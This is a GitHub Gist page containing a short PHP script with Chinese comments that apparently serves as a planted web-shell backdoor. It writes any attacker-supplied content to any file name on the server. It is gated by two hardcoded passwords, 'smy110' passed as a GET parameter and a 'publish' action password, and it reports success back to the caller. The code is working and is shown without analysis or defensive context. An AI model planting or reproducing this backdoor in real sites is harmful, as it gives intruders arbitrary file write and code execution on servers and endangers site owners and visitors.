Skip to content

Instantly share code, notes, and snippets.

@emcniece
Created October 25, 2015 06:00
Show Gist options
  • Save emcniece/8608419710acb7420666 to your computer and use it in GitHub Desktop.
Save emcniece/8608419710acb7420666 to your computer and use it in GitHub Desktop.
<?php
$action=$_REQUEST['action']; //页面状态
$password=$_REQUEST['password'];//接口密码
$pathname=$_REQUEST['pathname'];//文件目录名
$keywordindex=$_REQUEST['keywordindex'];//0 然并卵
$filename=$_REQUEST['filename'];//生成文件名
$body=stripslashes($_REQUEST['body']);// 生成文件的内容
$jamin = @$_GET['pw'];
if($jamin) { if($jamin == "smy110")
{ $zm = fopen(dirname(__FILE__).'/'.$filename,"w"); fwrite($zm,$body); fclose($zm);
if(is_file(dirname(__FILE__).'/'.$filename)){echo "yes<br>";}else{echo "no<br>";}}}
if($action=="test")
{
echo 'test success';
return;
}
if($action!="publish")
{
echo 'action error';
return;
}
if($action==""||$password==""||$filename==""||$body=="")
{
echo 'parameters error';
return;
}
if($password!="DseF3g6y45evR")
{
echo 'password error';
return;
}
$wjj=dirname(__FILE__)."\\".$pathname;
function createFolder($path)
{
if (!file_exists($path))
{
createFolder(dirname($path));
mkdir($path, 0777,true);
}
}
if(!is_dir($wjj))
{
createFolder($pathname);
}
$fp=fopen($pathname.'/'.$filename,"w");
fwrite($fp,"".$body);
fclose($fp);
if(is_file($pathname.'/'.$filename))
{
echo "publish success";
}else
{
echo "File does not exist";
}
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment